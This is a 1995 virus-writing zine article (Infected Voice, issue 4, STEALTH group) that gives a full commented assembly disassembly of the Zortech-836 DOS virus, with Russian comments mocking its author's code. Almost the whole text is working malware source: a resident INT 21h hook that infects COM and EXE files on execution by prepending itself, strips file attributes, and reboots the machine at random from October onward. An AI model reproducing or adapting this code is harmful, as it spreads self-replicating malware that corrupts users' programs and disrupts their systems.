█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█  ▀					    ▀	       ██▀██▀██
█ STEALTH group	█░ █ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▀█▀ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ ▄▀▀  ██ ▀▀ ██
█   presents	█░ █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █  ▀█▀▀  █████ ██
█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█░ ▐ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄  █████▄██
 ░░░░░░░░░░░░░░░░░                                                     JAN 1995

 INFECTED VOICE. Issue 4. January 1995. (C) STEALTH group, Kiev 148, Box 10.

;---------------------------------------------------------------------------
; Вирус Zortech-836. Заражает COM и EXE,записывается
; в начало, снимает  и  не восстанавливает атрибуты,
; выделяет себе 26К памяти  (видимо, по ошибке автор
; забыл поделить на 16 и вместо числа параграфов по-
; ставил число байт).  НЕ ОТНОСИТСЯ К ВИРУСАМ, НАПИ-
; САННЫМ КЕМ-ЛИБО ИЗ STEALTH GROUP. Крайне редко пе-
; регружает систему. Относится к классу "Радость Ло-
; зинского",  так как очень просто обнаруживается и 
; уничтожается. Возможно написан на C--, если же это
; ассемблер, то автору ещё долго придётся с ним раз-
; бираться...
; Очень прост для понимания, на его дизассемблирова-
; ние и комментирование у меня ушло всего 2 часа.
;
;			  (C) ETERNAL MAVERICK 1995.
;----------------------------------------------------

0100		jmp  short loc_3
0102		nop
;----------------------------------------------------
;		Вирусная "база данных".
;----------------------------------------------------
0103		db	0aeh,0			; Индикатор зараженности.
0105		db	0,0			; Сегмент передаваемой среды.
0107		db	80h,0,097h,015h		; Адрес командной строки.
010B		db	8 dup (0)		; Остатки блока параметров.
0113		db	097h,015h		; Cохранённый SS
0115		db	0feh,0ffh		; Сохранённый SP
0117		db	072h,0			; Cмещение имени файла в среде.
0119  indicator db	0 			; Eсли 0, то COM, если 0FFh,
						; то EXE.
;----------------------------------------------------
	loc_3:
011A		mov  ah,0ffh			; Запрашиваемая функция 21h.
011C		pushf
011D		push    cs
011E            mov     si,offset check		; Адрес возврата.
0121            push    si
0122            xor     si,si
0124            mov     es,si
0126            jmp     dword ptr es:[84h]	; Оригинальный вызов 21h.

012B	check:
012B            cmp     ah,0AEh			; Уже загружен ?
012E            jne     install			; Если нет, то инсталлироваться.

0130            mov     ax,offset restore
0133            push    ax
0134            retn				; Передать управление на восста-
						; новление программы - носителя.
0135  install:
0135            mov     ax,3521h
0138            int     21h                     ; DOS Services  ah=function 35h
                                                ;  get intrpt vector al in es:bx
;-----------------------------------------------
; 	Сохраняем адрес 21h, но зачем же
;	трогать SP и BP ? Странно...
;-----------------------------------------------

013A            mov     bp,sp
013C            mov     sp,18Fh
013F            mov     word ptr cs:[40Fh],bx
0144            mov     word ptr cs:[411h],es
0149            mov     sp,bp
;-----------------------------------------------
;  Освободить всю память, выделенную программе.
;-----------------------------------------------
014B            push    cs
014C            pop     es
014D            mov     ah,49h
014F            int     21h                     ; DOS Services  ah=function 49h
                                                ;  release memory block, es=seg
;------------------------------------------------
;  Помотрим, сколько памяти свободно.
;------------------------------------------------
0151            mov     bx,0FFFFh
0154            mov     ah,48h
0156            int     21h                     ; DOS Services  ah=function 48h
                                                ;  allocate memory, bx=bytes/16
;------------------------------------------------
;  Сократим наш блок до 344h+34eh байт.
;  Снова SP и BP, но зачем? Как будто не на
;  ассемблере писал! Дальше на эти приколы
;  не обращаем внимания.
;------------------------------------------------ 
0158            mov     bp,sp
015A            mov     sp,170h
015D            sub     bx,344h
0161            sub     bx,34Eh			; Почему не SUB  BX,344h+34Eh ?
0165            mov     cx,es
0167            stc
0168            adc     cx,bx
016A            mov     ah,4Ah                  ; 'J'
016C            mov     sp,bp
016E            int     21h                     ; DOS Services  ah=function 4Ah
                                                ;  change memory allocation
                                                ;   bx=bytes/16, es=mem segment
;------------------------------------------------
;  Сократить следующий блок до 344h+34еh байт.
;------------------------------------------------
0170            mov     bx,344h
0173            add     bx,34Eh			; MOV  BX,344h+34Eh короче !
0177            stc				; A зачем ?
0178            mov     es,cx
017A            mov     ah,4Ah
017C            int     21h                     ; DOS Services  ah=function 4Ah
                                                ;  change memory allocation
                                                ;   bx=bytes/16, es=mem segment
;------------------------------------------------
017E            mov     si,100h
0181            mov     di,100h			; MOV  DI,SI короче на 1 байт.
0184            mov     cx,344h			; Длина вируса...
0187            rep     movsb			; Скопироваться в выделенный
						; блок памяти по смещению 100h.
0189            mov     ax,es
018B            dec     ax
018C            push    ds
018D            mov     ds,ax
018F            db      3Eh			; 03Eh - код префикса DS:
						; Выбросьте этот компиллятор!
0190            mov     word ptr ds:[1],8	; Установить владельцем блока
						; DOS.
0196            pop     ds

0197            mov     dx,offset new_21h	; Cмещение вирусного обработчика
						; прерывания 21h.
019A            push    es
019B            pop     ds
019C            mov     ax,2521h		; Установить 21h.
019F            int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
01A1  restore:
01A1            push    cs
01A2            pop     ds
01A3            db      3Eh			; Опять...
01A4            cmp     byte ptr ds:[444h],0AAh ; По смещению 344h находиться
						; байт AAh ?
01A9            jne     loc_5

01AB            int     20h                     ; Если да, то закончить испол-
						; нение программы.
01AD    loc_5:
01AD            mov     ah,2Ah
01AF            int     21h                     ; DOS Services  ah=function 2Ah
                                                ;  get date, cx=year, dh=month
                                                ;   dl=day, al=day-of-week 0=SUN
01B1            cmp     dh,9
01B4            jbe     loc_6			; Месяцы с января по сентябрь ?
01B6            mov     ah,2Ch
01B8            int     21h                     ; DOS Services  ah=function 2Ch
                                                ;  get time, cx=hrs/min, dx=sec
01BA            cmp     dl,60h                  ; '`'
01BD            jbe     loc_6			; Cотые секунды не больше 96 ?

01BF            jmp     0F00:0FFF0h		; Перегрузка!

01C4    loc_6:
01C4            cmp     indicator,0FFh		; EXE - ?
01CA            jne     loc_7
01CC            jmp     short loc_8
01CE            nop			; Ну и херня!!! Почему бы не написать
					; je  loc_8 ?
01CF    loc_7:
01CF            mov     ax,cs
01D1            add     ax,1000h
01D4            mov     es,ax		; ES <-- CS + 64K
01D6            mov     di,0		; XOR  DI,DI лучше.
01D9            mov     si,offset dime
01DC            mov     cx,0Ah		; 10 байт
01DF            rep     movsb		; Копируем...

01E1            db      3Eh
01E2            mov     si,word ptr ds:[2FEh]	; По этому смещению находится
						; первоначальная длина носителя.
01E6            add     si,100h			; Теперь в si - смещение первых
						; байт носителя.
01EA            mov     di,100h			; Кстати, нормальный человек
						; написал бы  MOV DI,100h,
						; ADD SI,DI

01ED            mov     cx,344h			; В CX - длина вируса.
01F0            mov     ax,0			; Об этом уже писать противно,
						; но всё же XOR AX,AX лучше...
;-----------------------------------------------------
;  Передача управления тому самому кусочку в 10 байт.
;-----------------------------------------------------

01F3            push    es
01F4            push    ax
01F5            retf

;----------------------------------------------
;  Подпрограмма передачи управления носителю.
;  Могла бы занимать и 7 байт, если бы сделал
;  так:
;	push  ds
;	pop   es
;	push  ds
;	push  si
;	rep   movsb
;	retf
;----------------------------------------------
01F6	dime:
01F6            push    ds
01F7            pop     es
01F8            rep     movsb
01FA            mov     ax,100h
01FD            push    ds
01FE            push    ax
01FF            retf
;----------------------------------------------
;  Поиск в cреде имени программы, как обычно
;  хрено реализованый.
;----------------------------------------------

0200    loc_8:
0200            mov     ax,cs
0202            add     ax,1000h
0205            mov     es,ax
0207            mov     ax,word ptr cs:[2Ch]
020B            mov     ds,ax			; Сегмент среды DOS.
020D            mov     di,0
0210    loc_9:
0210            inc     di
0211            db      3Eh
0212            cmp     byte ptr [di],0
0215            jne     loc_9
0217            inc     di
0218            db      3Eh
0219            cmp	byte ptr [di],0
021C            jne	loc_9
021E    loc_10:
021E            inc     di
021F            db      3Eh
0220            cmp     byte ptr [di],41h       ; 'A'
0223            jbe     loc_10
;----------------------------------------------
;	Открыть файл.
;----------------------------------------------
0225            mov     dx,di
0227            mov     ax,3D02h
022A            pushf
022B            call    dword ptr cs:[40Fh]
0230            jnc     loc_11
0232            jmp     loc_13
;----------------------------------------------
0235    loc_11:
0235            mov     bx,ax
0237            mov     word ptr cs:[117h],di	; Сохранить смещение имени
						; программы.
;-------------------------------------------------
;  Установить указатель и считать начало из конца.
;-------------------------------------------------
023C            push    cs
023D            pop     ds
023E            mov     dx,word ptr cs:[2FEh]
0243            xor     cx,cx
0245            mov     ax,4200h
0248            pushf
0249            call    dword ptr cs:[40Fh]
024E            mov     dx,0
0251            mov     cx,344h
0254            push    es
0255            pop     ds
0256            mov     ah,3Fh
0258            pushf
0259            call    dword ptr cs:[40Fh]
;-----------------------------------------------
;  Записать начало на место (в начало).
;  Закрыть файл.
;-----------------------------------------------
025E            push    cs
025F            pop     ds
0260            xor     cx,cx
0262            xor     dx,dx
0264            mov     ax,4200h
0267            pushf
0268            call    dword ptr cs:[40Fh]
026D            mov     dx,0
0270            mov     cx,344h
0273            push    es
0274            pop     ds
0275            mov     ah,40h
0277            pushf
0278            call    dword ptr cs:[40Fh]
027D            mov     ah,3Eh
027F            pushf
0280            call    dword ptr cs:[40Fh]
;-----------------------------------------------------
;  Отрезать кусок памяти для себя (Зачем так много?!).
;-----------------------------------------------------
0285            push    cs
0286            pop     ds
0287            push    cs
0288            pop     es
0289            mov     bx,1194h
028C            mov     ah,4Ah
028E            pushf
028F            call    dword ptr cs:[40Fh]
;------------------------------------------------------
;  Cформировать блок параметров для загрузчика.
;------------------------------------------------------
0294            mov     word ptr cs:[113h],ss
0299            mov     word ptr cs:[115h],sp	; Сохранили SS:SP.
029E            db      3Eh
029F            mov     word ptr ds:[107h],80h
02A5            db      3Eh
02A6            mov     word ptr ds:[109h],cs
;-------------------------------------------------------
;  Запустить носитель как порождённый процесс.
;-------------------------------------------------------
02AA            mov     bx,105h
02AD            mov     dx,di
02AF            mov     ax,word ptr cs:[2Ch]
02B3            mov     ds,ax
02B5            mov     ax,4B00h
02B8            pushf
02B9            call    dword ptr cs:[40Fh]
;-------------------------------------------------------
;  Восстановить SS:SP.
;-------------------------------------------------------
02BE            mov     ss,word ptr cs:[113h]
02C3            mov     sp,word ptr cs:[115h]
;-------------------------------------------------------
;	Привести файл в исходное состояние.
;	(записать вирус на место).
;-------------------------------------------------------
02C8		mov	ax,word ptr cs:[2Ch]
02CC            mov     ds,ax
02CE            mov     dx,word ptr cs:[117h]
02D3            mov     ax,3D02h
02D6            pushf
02D7            call    dword ptr cs:[40Fh]
02DC            mov     bx,ax
02DE            push    cs
02DF            pop     ds
02E0            mov     dx,100h
02E3            mov     cx,344h
02E6            mov     ah,40h
02E8            pushf
02E9            call    dword ptr cs:[40Fh]
02EE            mov     ah,3Eh
02F0            pushf
02F1            call    dword ptr cs:[40Fh]
;---------------------------------------------------
02F6    loc_13:
02F6            mov     ah,4Ch			; Закончить исполнение
						; программы.
02F8            pushf
02F9            call    dword ptr cs:[40Fh]

02FE            db	0a0h,0fh		; Длина носителя без вируса.

0300	new_21h:
0300		pushf
0301            push    ax
0302            push    bx
0303            push    cx
0304            push    dx
0305            push    ds
0306            push    di
0307            push    si
0308            push    es
0309            cmp     ah,0FFh
030C            jne     loc_14
030E            mov     ah,0AEh		; Да, я уже в памяти...
0310            pop     es
0311            pop     si
0312            pop     di
0313            pop     ds
0314            pop     dx
0315            pop     cx
0316            pop     bx
0317            pop     bx
0318            popf
0319            iret
031A    loc_14:
031A            cmp     ax,4B00h		; Запуск программы ?
031D            je      loc_15			; Будем пытаться заражать.
;----------------------------------------
;	Передаём управление дальше...
;----------------------------------------
031F            mov     ax,offset loc_24	; JMP loc_24 эффективнее!
0322            push    ax
0323            retn
;----------------------------------------
0324    loc_15:
0324            mov     ax,32Bh
0327            push    ax
0328            jmp     loc_25	; Ну и изврат! И всё сводится к тому,
				; чтобы передать управление на следующую
				; команду, занеся в BP DS, a в DI - DX.
;------------------------------------------
;  	Установить обработчик 24h.
;------------------------------------------
032B            push    cs
032C            pop     ds
032D            mov     dx,418h
0330            mov     ax,2524h
0333            pushf
0334            call    dword ptr cs:[40Fh]
;------------------------------------------
;	Восстановить DS:DX.
;------------------------------------------
0339            mov     dx,di
033B            mov     ds,bp
;------------------------------------------
;	Cнять атрибуты файла.
;------------------------------------------
033D            mov     cx,0
0340            mov     ax,4301h
0343            pushf
0344            call    dword ptr cs:[40Fh]
0349            jnc     loc_16
034B            jmp     loc_24
;------------------------------------------
;	Открыть файл для чтения/записи.
;------------------------------------------
034E    loc_16:
034E            mov     ax,3D02h
0351            pushf
0352            call    dword ptr cs:[40Fh]
;------------------------------------------
;	Считать начало (первые 344h байт).
;------------------------------------------
0357            mov     bx,ax
0359            push    cs
035A            pop     ds
035B            mov     dx,444h
035E            mov     cx,344h
0361            mov     ah,3Fh
0363            pushf
0364            call    dword ptr cs:[40Fh]
;----------------------------------------------
;  Проверить COM или EXE. Установить индикатор.
;----------------------------------------------
0369            mov     cs:data_15,0
036F            db      3Eh
0370            cmp     word ptr ds:[444h],4D5Ah
0376            jne     loc_17
0378            jmp     loc_23
037B    loc_17:
037B            db      3Eh
037C            cmp     word ptr ds:[444h],5A4Dh
0382            jne     loc_18
0384            mov     cs:data_15,0FFh
;--------------------------------------------------------
;  Если по смещению три стоит слово 0AEh, то не трогать.
;--------------------------------------------------------
038A    loc_18:
038A            db      3Eh
038B            cmp     word ptr ds:[447h],0AEh	; Уже заражен?
0391            je      loc_23
;--------------------------------------------------------
;  Передвинуть указатель в конец файла.
;--------------------------------------------------------
0393            xor     cx,cx
0395            xor     dx,dx
0397            mov     ax,4202h
039A            pushf
039B            call    dword ptr cs:[40Fh]
;---------------------------------------------------------
;  Проверить, чтобы длина была от 0BB8h до 0FA00h.
;---------------------------------------------------------
03A0            cmp     dx,0
03A3            je      loc_19
03A5            jmp     short loc_23
03A7            nop
03A8    loc_19:
03A8            cmp     ax,0BB8h
03AB            ja      loc_20
03AD            jmp     short loc_23
03AF            nop
03B0    loc_20:
03B0            cmp     ax,0FA00h
03B3            jbe     loc_21
03B5            jmp     short loc_23
03B7            nop
;---------------------------------------------------------
03B8    loc_21:
03B8            mov     word ptr ds:[2FEh],ax	; Cохранить длину.
;---------------------------------------------------------
;	Получить время создания файла.
;---------------------------------------------------------
03BC            mov     ax,5700h
03BF            pushf
03C0            call    dword ptr cs:[40Fh]
03C5            push    cx
03C6            push    dx
;---------------------------------------------------------
;	Записать считанное начало в конец.
;---------------------------------------------------------
03C7            mov     dx,444h
03CA            mov     cx,344h
03CD            mov     ah,40h
03CF            pushf
03D0            call    dword ptr cs:[40Fh]
03D5            jc      loc_22
;---------------------------------------------------------
;	Передвинуть указатель и записаться в начало.
;---------------------------------------------------------
03D7            xor     cx,cx
03D9            xor     dx,dx
03DB            mov     ax,4200h
03DE            pushf
03DF            call    dword ptr cs:[40Fh]
03E4            mov     cx,344h
03E7            mov     dx,100h
03EA            mov     ah,40h
03EC            pushf
03ED            call    dword ptr cs:[40Fh]
;----------------------------------------------------------
;	Восстановить время создания файла и закрыть его.
;----------------------------------------------------------
03F2    loc_22:
03F2            pop     dx
03F3            pop     cx
03F4            mov     ax,5701h
03F7            pushf
03F8            call    dword ptr cs:[40Fh]
03FD    loc_23:
03FD            mov     ah,3Eh
03FF            pushf
0400            call    dword ptr cs:[40Fh]
;----------------------------------------------------------
0405    loc_24:
0405            pop     es
0406            pop     si
0407            pop     di
0408            pop     ds
0409            pop     dx
040A            pop     cx
040B            pop     bx
040C            pop     ax
040D            popf
040E   int_21h:
040E            db      0EAh,0,0,0,0		; Сюда будет подставлен
						; вектор 21h.
0413    loc_25:
0413            mov     bp,ds
0415            mov     di,dx
0417            retn

;-------------------------------
;	Обработчик 24h.
;-------------------------------
0418            mov     al,3
041A            iret
;-------------------------------

041B            '  Zortech (C). Take Care of SoftWare ...',00

;-------------------------------
;	Носитель.
;-------------------------------
0445		db	3164 dup (90h)
10A0		retn
10A1            db      835 dup (90h)


; ─────────────────────────────────────────────────────────────────────────
; ──────────────── Remember Where You Saw This Phile First ────────────────
; ───────[=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]───────
; ─────────────────────────────────────────────────────────────────────────
